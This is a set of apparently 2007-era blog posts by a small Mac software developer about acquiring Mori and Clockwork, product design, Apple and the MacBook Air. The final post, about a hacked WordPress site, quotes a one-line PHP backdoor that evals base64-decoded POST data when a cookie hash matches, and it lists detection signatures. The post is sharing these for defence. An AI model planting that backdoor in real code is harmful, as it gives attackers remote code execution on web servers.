Well, That Was a Day!

The launch has not at all gone smoothly. I had hoped it would proceed without a hitch, and to have the feature releases (Mori v1.7 & Clockwork 1.5) ready so the launch could start with a bang. Unfortunately, it was me and the users who suffered some banging up and getting a little shaken up. No bruises or black-and-blue marks though (I hope. Holla if something’s amiss.) So, I had to settle for releasing a point upgrade, such that it indicates Apokalypse is the new publisher, and properly points to the update appcast.

It’s been a roiling two weeks as I’ve been trying to get things ready for the launch of Mori and Clockwork as Apokalypse products. Besides trying to get the finishing touches on the product I’ve been developing for years, I was trying to familiarize myself with the Mori and Clockwork codebase enough to migrate them to my site.

Oh, the site. I also needed to migrate the relevant portions of Hog Bay Software’s site to my server, and have it looking somewhat like my own, but not completely so the userbase feels somewhat comfortable in their new surroundings. There are still some records that were added since the beginning of the month that need to be migrated, but hopefully everyone will make it through unharmed. Apokalypse was running on WordPress, Hog Bay Software on Drupal. They are joined at /products, and the seams do show. Most users won’t need to register for anything on the WordPress system as of yet, not even to post comments here. In a couple of months both systems will start getting integrated. In the meantime, I’m a tad busy.

Speaking of busy…

Date Megabytes Requests Megabytes Requests Megabytes Requests
2007-06-20 163.67 11,753 158.744 11,753 4.928 0
2007-06-19 223.14 18,669 223.116 18,655 0.000 0
2007-06-18 40.79 3,027 34.021 2,994 6.768 33
2007-06-17 2.78 301 2.781 301 0.000 0
2007-06-16 5.33 155 0.791 150 4.544 5
2007-06-15 9.86 939 8.191 858 1.672 81
2007-06-14 4.47 474 4.472 474 0.000 0
2007-06-13 3.33 541 3.325 541 0.000 0
2007-06-12 2.13 354 2.133 353 0.000 0
2007-06-11 5.30 519 5.298 518 0.000 0
2007-06-10 8.77 1,002 8.767 1,001 0.002 1
2007-06-09 7.65 580 7.653 580 0.000 0
2007-06-08 2.64 455 2.047 406 0.594 49
2007-06-07 24.08 2,858 22.865 2,715 1.215 143
2007-06-06 11.32 2,935 10.138 2,761 1.180 174
2007-06-05 27.52 3,331 26.479 3,247 1.046 84
2007-06-04 47.35 1,056 7.395 1,005 39.959 51
2007-06-03 9.57 1,016 9.394 999 0.174 17
2007-06-02 7.22 1,137 6.569 1,017 0.651 120
2007-06-01 9.10 1,114 8.865 1,071 0.238 43

Can you tell when the Mori/Clockwork changeover occurred?

So there are release schedules for Mori and Clockwork, and my philosophies for their future direction. Hopefully, the first feature releases will be ready in two weeks.

In the meantime, I’ve got some press releases to put out.

Engineer, Marketer and Customer: Roles a Technology Entrepreneur Must Understand

For an entrepreneur, particularly a one-man shop like a microISV, the problem of product development is one of what to produce and the feature mix it should have.

The problem is that there are different cultural values that could be represented by a product. Not just the obvious geographical, ethnic, age and gender cultural values, but values which are more subtle, and reflect an individual’s vocation and skill set more than any genetic or environmental demographic factor. These are reflected in the ways an engineer, a marketer and the customer think about a product’s design.

The Engineer
The engineer is a problem-solver. His main interest is in using his tools to build solutions.

He thinks in terms of his solution to a problem versus the previous method. Ergonomic and aesthetic qualities are not considerations for the engineer, features are. Features. Options. Variability. He’ll look to add other components to his solution so it solves a wider range of problems and is thus more useful (volume, speed, duration, size, angle, etc.). Adapting his solution for other uses though, will throw the engineer into bewilderment. “Why would you want that?”

The engineer who makes use of a variety of tools to solve his problems will build solutions to others’ problems in the same way: a plethora of tools in a variety of qualities.

The Marketer
The marketer is a persuader and influencer. His main interest is in getting his message adopted by the customer.

Because the marketing department is one of the few which are customer facing, they generally have a sense of what issues their current customers face, what they need, what price point they’ll tolerate, etc.

Due to his preoccupation with perceptions and feelings (prestige, security, intelligence etc.), the marketer’s input on product designs focuses mainly on the physical attributes (e.g., color choices, materials, textures) that will reflect qualities that bestow intangible or perceived value to the user.

The Customer
The customer is a doer and a responder: performing his routines, following his processes. He may be looking for a solution to some problem he’s currently facing (e.g., new car, faster time-to-market, rising prices). Or, as is most often the case, he may not realize there’s a problem to which someone will happily sell him the solution.

While he might rationalize his decisions with some logical arguments (takes less space, improves productivity, etc.), it is for the emotional value (trendiness, security, etc.) of owning the product for which he actually chooses.

Putting it into Perspective
This difference in perspective is vital for the microISV to know and understand in developing his products, as the tool which was developed to solve his problem is often not what the general buying public will want. Engineering a solution is one thing. Creating the want for the solution is what business is about.

In the Mac market, this conflict in viewpoints is easily demonstrated in the topic of “Delicious Generation” applications.

Many of the indie developers/microISVs developing for the Mac have criticized the arrival of apps which they have denounced as all flash and no substance. Apps such as Disco, whose designers put more emphasis on the visual quality of the product (to the extent it rendered smoke effects when burning a CD or DVD) rather than the functionality it provided, are seen as providing very little value to the consumer. These developers have a dislike for the hype surrounding these types of products, seeing them as distractions from real needs which can be solved by more functions, options, and the like.

An interesting counter-reaction was given by John Gruber in his presentation Consistency vs. Uniformity in UI Design at the C4[0] Mac developer conference, however. His description of Disco? “That’s f—— gorgeous!”

The lesson for entrepreneurs, indie developers, and anyone overseeing development of a new product: while engineers may carry the bulk of the responsibility for developing the technology that goes into your product, until machines start buying products, or your target market isn’t other engineers, you must rein in their enthusiasm to over-engineer. Think about how you’ll market the product first. Understand what the customer is motivated to want to buy. Bring them into the discussion as early as possible. Then you can engineer a solution within that envelope.

Describe. Develop. Deliver.

As I was putting the finishing touches on this entry (links, pics, and such), I came across this fabulous example.

Hearing the Concerns of a 20th Century Tech Survivor

This morning a visitor to my blog posted a rather interesting comment as a reaction to my purchase of Mori and Clockwork from Jesse of Hog Bay Software. The writer isn’t a current customer, nor was he aware when the transaction occurred. So being in the market for notepad and organizer software (digital notebook), he was naturally cautious regarding which product to purchase. The reasons why I’m publishing his comment as this blog entry rather than leave it as a comment are, first of all, he’s expressing a sentiment shared by many visitors which I wanted to address again to reiterate my commitment to the products purchased from Hog Bay Software, and secondarily, he expresses a rather alarming state of mind which technology purchasers now have and which I wanted to bring to your attention: customers are quite gun-shy when it comes to making technology purchases in this day and age, expecting very little in terms of stability, lifetime, and service and support by the provider.

As a result of a business climate which values short-term gains and maximizing profitability and privileges at minimal cost, and a society which celebrates independence and adversarial relationships over cooperative ones, (Over the course of a week, measure the quantity of media impressions you would classify as self-indulgence, community, conflict and cooperation to which you subject yourself.) buyers no longer expect to be able to engage with the people in the supply chain of the goods they purchase and use, nor that those people will actually stand behind those products.

Most people are willing to accept a loss and chalk it up as a lesson learned rather than assert their rights and demand to be treated as more than someone else’s ATM. You should be able to tell when a relationship puts you at a disadvantage, when to impose upon your relationship partner to meet your own needs, and how to work out differences in understanding. If you’re unwilling to fight for your interests, how do you expect anyone else will? Don’t put it off hoping someone else will know and anticipate your every need. And if you see that your prospective partner has significant failings in the way it treats other customers, it’s wiser to accept the short-term pain by not adopting his technology than it is to delude yourself that you’ll get better treatment. Eventually, tech companies will learn to value their customers more highly than they do their marketing partners.

Here’s his comment. My reply follows.

A new comment on the post #44 “Apokalypse Software Corp. Acquires Mori, Clockwork from Hog Bay Software” is waiting for your approval

Author : Don (IP: n.n.n.n , dslnnn-nnn-nnn.xxxx.xxx.X.net)
E-mail : email withheld
URL : URL withheld pending response
Whois : http://ws.arin.net/cgi-bin/whois.pl?queryinput=
Comment: Just discovered Mori. Looks great on first glance. But I’m hesitant to spend $39 on an app that’s just changed hands. And even more important than the money is the possibility ones “life” – notes about an enormous myriad of stuff, could become useless in the future. It wouldn’t be the first time such a change went well and smoothly, perhaps even improving substantially over time, but it also wouldn’t be the first time one didn’t (or even that an app went downhill in both functionality and level of bugs).

I had such an experience, about eight years ago, when the makers of PaperPort and the software that went with it (I should have guessed that having one company make the hardware and another the software was a recipe for disaster) failed to to offer software for the then-new OS X. This was after I invested in several copies and we converted our office, as much as possible, to scanning and filing all paper documents using the system. Many hundreds of hours went down the drain with their self-serving decision, and our easy access to the old data went with it. And we had to go back to dealing with paper.

There were a number of similarly worrisome user comments in your forum. My take: Good, that you were willing to leave them there – shows integrity. But your “base” is going to be mighty nervous until you (1) answer all relevant posts promptly and (2) actually get a track record in moving forward on product updates and bug fixes. And inheriting a product that apparently has as part of its plusses an expectation that it will be modified by user consensus makes the weight all the more heavy!

So I’ll watch to see what happens in the next 30 days before I decide to migrate our ways of organizing much of our data toward Mori.

It looks promising. Good luck to you. I wish you success.

I certainly understand your apprehension in risking an investment in time and effort in moving your firm to a software product, let alone one which recently changed hands, and is now published by a tiny, tiny software outfit (microISV). Considering the issues certainly is a demonstration of wisdom on your part and requires a disclosure of the facts on mine.

I purchased Mori from Jesse because it represented a savings of substantial time on my part in developing a system I have had in development for some time. So I’m not abandoning the vision of my ideal system (which Mori is still quite short of) by dropping the product or not furthering its development.

The actual risk assumed by Mori’s customers (as with any microISV) is that I am somehow incapable of continuing development and my heirs are unable or unwilling to do so in my stead. The saving grace in such circumstances is that ownership of Mori and Clockwork will revert to Hog Bay Software. This is quite a distinction that Mori enjoys over comparable offerings, in that its survival is assured by contract.

Issues of future compatability have always been a concern for technology. While the differences between Tiger and Leopard are much smaller than those between Mac OS 9 and X, current releases of Mori and Clockwork are known not to work on Leopard and won’t be rectified until the night of its release, at the earliest. (Let’s pray there are enough copies of Leopard available on its release date so I don’t have to physically harm anyone to deprive them of same.)

The question of our expectations for future technology persists through any purchase cycle. It was present when I decided Jesse’s work on Mori and Clockwork sufficiently corresponded to my goals to make the investment. It is present when someone selects the software on which to run a website (Apokalypse has four main CMS packages, with several versions, on which its various web properties are run, so I understand the frustration caused by a lack of interoperability and upgradeability.), purchases a new computer system, etc. It is a sad fact of the current state of technology that until it’s advanced enough to adapt itself, we cannot hope to be certain that our choices will continue to match future needs. The best course of action is to select technology which will serve our needs for the present and next three to five years, and ensure that there is some bridge to preserve our investment should we find that the chosen technology has hit an evolutionary dead-end.

To address that issue, and overcome such objections, Mori will have better export options in the post-v1.7 future. As for the present, my continued development of Oneill (Mori v1.7) has revealed further bugs in the v1.6 branch which will see an additional bug release to rectify them for current users. This v1.6.4 release will ship before Leopard, but I don’t expect it to resolve the incompatibilities with it.

You’re welcome to continue monitoring the progress of Apokalypse’s products. Honest questions and discussions are welcome here and the forums. It’s unreasonable to expect customers to have confidence in what a company does if its employees and principals don’t, which is why I make rare exception to letting comments remain on the forum which aren’t euphoric or gushingly pro-Apokalypse. As the line in 1776 goes, “The king is a tyrant whether we say so or not. We might as well say so.” Public perception of my commitment to my offerings will be echoed through other locations on the Internet regardless of any posturing on my part. So I might as well permit them here, where I (and hopefully future employees) have a duty to read and respond to them, and those who’ve invested their time, effort and money in support of Mori and Clockwork (and all future Apokalypse products) can trust their concerns and sentiments are reproduced accurately and honestly and answered in a similar spirit, respecting their intelligence and value to the community. Thus I won’t attempt to dismiss the forum postings which you characterize as worrisome as I recognize their concerns as legitimate when it seems as if there’s noone responding to customer needs. To that end, I’ve made my contact information more publicly accessible. (Now I just need to remember to properly set my status messages as necessary!)

The Facade of Success

People look at the trappings of materialism, of possessions, and of an indulgent lifestyle, and they infer the absence of hard-work, sweat and struggle. They associate the possession of goods with success, representative of a successful person or someone who can get things done; being obviously done, because he’s no longer working hard.

However, the true measure of one’s success are the goals he has set for himself. For success is the achievement of goals, and unless your goal was the possession of great many material possessions, you are no more successful by having them then you are in not.

Understanding this, we can say Bill Gates isn’t a success although he has achieved great material wealth. The goal he had established for Microsoft, as defined in their original mission statement, was “A computer on every desk and in every home, running Microsoft software.” This is the reason why Microsoft competes vigorously in any industry related to computer software or which is heavily dependent on software.

If you think I’m just nit-picking over minor details, then you’re getting the cart before the horse. You’re looking at their position of prominence and wealth as establishing their character; whereas by focusing on their mission, the people of Microsoft didn’t stop once they achieved a measure of material wealth. They kept trying harder and harder to dominate other markets, and risked that material wealth, until they eventually dominated those markets.

You’re also demonstrating a great deal of self-centeredness, measuring others against your own personal standard for success.

Chances are, when you first read the title of this entry you thought of the facade rather than the success. Hopefully, by thinking more clearly on what is the true measure of success, your personal measure of success, you’ll concentrate on those critical areas which will help you achieve them rather than the facade.

A Not-So-Agile Apple Train Jumps Its Tracks

Apple, fresh from delivering AppleTV and in the middle of pushing iPhone out the door, has announced a delay in the planned shipping date of October 2007 for Mac OS X (MOX).

While some bloggers denounce Apple’s claim as deceitful (there isn’t even an entry in its press releases, only a statement for April 12, 2007 on the Hot News page), I’d say it’s more likely a half- (or less) truth. There are plenty of causes for MOX’s delay.

Apple knows it has a process problem. Steve discussed only the AppleTV and iPhone during his MacWorld 2007 keynote.

Apple has a huge backlog of duplicate and unresolved bugs in its radar database. My own entry is #3665065, entered on 23-May-2004 12:26 AM and still open.

Apple doesn’t eat its own dogfood.

Apple doesn’t have enough bodies to handle its current plans. Here’s a listing of the groups with current software engineering needs from a recent job posting:

The following teams at Apple are now hiring:

– X Grid
– Core OS
– File Systems
– Build and Integration
– Kernel Development
– Vector Numerics
– Java
– Networking
– QuickTime
– Compiler
– User Interface
– Graphics and Imaging
– Frameworks
– Security
– Localization and Release Engineering
– Core Audio
– Video Codec
– Desktop Management Solutions

On top of that, the Professional Audio, Professional Video, FileMaker, Desktop Apps (incl. iTunes), Interactive Media, iTunes Store, iPod, AppleTV and other teams I wouldn’t even guess about need developers to develop products currently on the market as well as future goodies and you can see why Apple’s in the pickle it’s in.

After working to release AppleTV and iPhone with their own variants of MOX, the Leopard team most likely has to reintegrate those branches back into the main branch. As a bonus, they will most likely develop some inability to let you run an AppleTV as a standalone MOX system in the future and cripple the iPhone’s OS to prevent that sort of thing as well.

There are serious scope and process issues within Apple’s development groups. Do not expect a speedy resolution.

[Update – 2007-04-20] Here’s another loss to one of Apple’s product teams. His story is far more indicative of Apple’s problems.

Well, That Didn’t Take Long!

So it turns out the announcements were not as spectacular as we had hoped for. A lot of the keynote was in fact a repeat of last year’s. What was new was the disclosure that EA and id were developing new games for the Mac, Safari was going to be available on the Windows platform, and that XHTML/AJAX was the API for the iPhone.

Very underwhelming. Very un-spectacular. And very significant.

Gaming for Mac gives less cause for users to run Windows on Mac hardware.

Safari for Windows gives more reason for web developers to support the lowly Mac user, who could otherwise be ignored.

And XHTML/AJAX, or Web2.0, means that the iPhone has no significant programming hurdle for users. You could write up a simple iPhone app using Safari on your Mac or PC, and download it to your iPhone when it’s ready. You could even tweak other apps to your liking. Perhaps Apple will be motivated to release DashCode for Windows as well. But it just goes to show that scripting has already won.

It will also inhibit the adoption of Microsoft’s PopFly!, Silverlight, Adobe’s AIR, and other proprietary “solutions” to ubiquitous, networked apps.

It also means the iPhone has no significant programming differentiator from any other platform. Thus, whatever apps you write for the iPhone will operate with minor modification on the Nokia N90, which also has an embedded WebKit.

And, finally, it means my plans are not only safe, but will carry more weight than I thought.

MacBookAir: Oh, the Compromises You’re Willing to Make Just to be Trendy.

Wow. A lot of folks already have lists of what they don’t like about the MBA. So do I.

  • It isn’t a tablet.

    The tablet interface opens up a whole new range of apps (just look at what changes the touchscreen interface has brought to the mobile market.) I could be so much moreproductive with a tablet. I promise.

  • Lack of replaceable battery.

    Will I be able to get to an outlet in five hours? Would I have been able to find a spare battery in three years’ time when the charge goes down to 2?

  • 1.6GHz CPU?

    Are you kidding me? Weren’t we looking forward to the 3GHz PowerPC G5 more than four years ago?

  • FireWire!

    Why has Apple abandoned the IEEE1394 spec it created?

  • Gigabit Ethernet

    In fact, any ethernet at all! Something, at least, which has better performance than WiFi!

Others complained about the hard drive capacity being only 80GB, and the solid-state drive (SSD) being so expensive. I don’t care. As a laptop, it wouldn’t be where I do the bulk of my work or computing. It would only be for away-from-the-desk computing.

When I saw the announcement, and the pics, I knew it was a computer for lightweights. It isn’t meant for power users. It isn’t meant for programmers. It’s meant for folks whose computing needs just aren’t driven by applications which demand horsepower.

Joe Goh, the developer behind Phone Journal, replied, “Definitely not just trendy. Lots of people I know won’t carry a portable computer otherwise. Its going to be a hit with ladies”, which proves my point exactly. If you haven’t already needed to carry around a laptop, particularly one like the less expensive and more powerful MacBook, why would you start with this model?

So, although I saw that the userbase for the Mac was going to explode through the MBA, as a user, it just wasn’t my type of machine.

But as I was reading Wil Shipley’s take on it, the notoriously name-dropping blogger and lead developer of Delicious Library, and how he was going to buy one for himself, I realized there was something special about that solid-state drive.

This is a picture of a 256K Dynamic RAM memory card for an S-100 computer. It’s the sort of thing we used back in the late 1970s. Typical of gadget freaks, it was more power than the CPU could directly handle, so the excess had to be put to use somehow: RAMDisk.

Back in those days, microcomputers generally used floppy drives: storage devices that stored information on portable media that resembled CD-Rs *inside* its jewelry case; except the floppies stored up to 800KB, looked dark brown because they were actually coated with rust, and were 5.25″-8″ in size! These things were large, and slow. Things were better if you could afford the $3,000 for a 5MB hard drive because they were faster and stored a tad more info, but the majority of us users were stuck with the less-expensive, and slower, floppy drive.

Ah, but that extra RAM came in handy here. Once you loaded in some RAMDisk software onto your micro, your RAMDisk would give you performance that blew away even those speedy hard drives. Instead of putting up with the slow grinding-grinding of the floppy drive while you were working, the RAMDisk would buffer the data the first time it was read from the floppy, then blast it into application memory whenever it was needed. You would wonder just how well it worked when you didn’t hear the drives spinning and grinding as before, but when the results came up, you knew it worked fabulously.

And it wouldn’t take long for the results to appear. Performance was thousands times better. You wouldn’t have to go to lunch when you ran the assembler anymore. It was now fast enough to give you just enough time to grab some coffee. It was that fast.

The MBA’s optional SSD will give you that level of performance boost. While hard drives were a couple order of magnitudes faster than floppies, they were still orders of magnitude slower than RAM. While hard drives have improved in performance, so has RAM. Just as adding more RAM to your computer will give a bigger performance increase than adding a faster processor, substituting that power-draining, mechanical hard drive completely with a solid-state device will give a phenomenal performance gain.

While you might complain about 64GB being miniscule(!), the real caveat is that these flash devices that make up the SSD have a limited lifetime. 300K to 400K writes. That’s not a paltry amount, but it is still something to keep in mind.

So now that I think about it, the MBA has one significant advantage for one particular power-user niche: the developer. It doesn’t have the raw CPU horsepower we crave. It doesn’t have the ability to do gigabit ethernet connections to our networks. It doesn’t have separate communication busses for main and video memory. It doesn’t even have a tablet interface. But it does have a honkin’ 64GB drive with no moving parts.

I guess when I get enough money, I’ll have to plunk down for an MBA after all. After they come out with a Rev. B. Hopefully, they’ll have a 128GB SSD option by then!

Revelations for November from Apokalypse

A few weeks back I remarked that there were two surprises I wanted to spring on you. Unfortunately, the recent chaos postponed the work involved, but I’ve been able to continue them now that things have settled down.

One is an upgrade of the site. The website software is seriously out of date. I’ve noticed that searches no longer return search info for new content. Also, it’s currently on an account which doesn’t handle quite so much bandwidth…nor disk space. So tonight I’ll be taking the site down while I transfer the data to the other site. I’ve got the updated software on the new server, and I’ve practiced transferring the info. Here’s hoping that it goes through in the shortest possible time and without unexpected challenges.

The other is a long-standing surprise that I’ll be able to announce after the site has extra capacity.

I had wanted to get these both out of the way so I could participate in the IronCoder contest for Mac developers, which was stretched out to a whole week! A whole week, and I still wasn’t able to participate! Oh well. I’ll still attempt to publish what would’ve been my entry in a week’s time. Of course, that means I’ll have to do my development in Leopard, using Xcode3.

Perhaps I should take a month to finish it.

Website was Down Due to Compromised WordPress System

If you attempted to access the site for the past 24+ hours I apologize for the prolonged downtime. I upgraded the WordPress system the blog runs on (complete with fail, and no thanks to the WordPress community in #wordpress for their non-help — I definitely will switch the blog to another system after 1.7’s release, and recommend prospective users to stay away from them and their system), and found compromised files throughout the system.

I believe I have corrected/removed the backdoor mechanisms which spammers have been using against the site, but there’s no evidence that the wacky WordPress system the site is now running on doesn’t have other compromised files, as well as the security holes through which the crackers originally got in.

Several compromised files had this line inserted at the beginning,

<?php if(md5($_COOKIE['_wp_debugger'])==”5fd808ac028e5197dd69318e32407eb7″){ eval(base64_decode($_POST['file'])); exit; } ?>

Others were disguised as image files, with file extensions of “pngg” and “jpgg”, and beginning with “

If you want to check your site for similarly compromised files and backdoors, search through your site code for signatures such as “qwerty”, “4008deadb16536f48b84fdc70f194dac”, “find suid files”, “_wp_debugger”, “5fd808ac028e5197dd69318e32407eb7″. The signatures are sure to change, as they’re used to activate the backdoor scripts, but at least you have a way to check current installations for these same spammers.

All in all, an unhealthy state of affairs for the Content Management System (CMS) industry. The market is still up for grabs.